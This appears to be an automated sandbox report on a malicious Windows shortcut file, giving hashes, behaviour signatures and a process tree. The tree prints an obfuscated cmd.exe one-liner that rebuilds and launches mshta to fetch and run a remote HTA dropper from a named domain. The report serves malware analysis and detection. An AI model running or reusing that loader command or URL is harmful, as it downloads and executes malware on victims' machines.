Analysis

  • max time kernel
    148s
  • max time network
    116s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:25

General

  • Target
    DOC-3FC0RJ.lnk
  • Size 2KB
  • Sample260804-kbnt6svfrf
  • SHA256 8be09955dc014152b1495f08f7ccd9b1a7478169c4bb555dd533fe5e46873404
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-3FC0RJ.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3804
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D/V:on/C"set WFZrn=31kst2&&set lQn=ear8&&set jz=ftp&set YfXv=systhjzsaihzhbqcipscdsys&set TYU=infdyaqxolpinf&set pwIPS=bakrvnucybbajoxuvlbbak&set dsN=datiftmkwspjqbblzbdat&set GAJk=tmpkbyiqcjtmp&set Ntqfm=datcxsfnljxyodat&set BQv=cfglndzqtxvnhcfg&set zfszB=bakzrrbbak&set VdUMg=bakmhkndfbak&set Gxvsh=datyocqylztaxekiagxdscdat&set fJ=datiuegrhqjgktttpdat&set qjdF=4msal&&set Cd=9htahob&set lCur=infuprwniflpminf&&set UcsM=ht@t@p@s://ma@-p@df@f@ille@r.@lat/h@/e@st@ag@io1.@ph@p@?r=3@91469FB@5@D8@2DB&&start /b !qjdF:~1,2!!Cd:~1,3! !UcsM:@=!&&set nmznx=done"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4160
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:3312

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads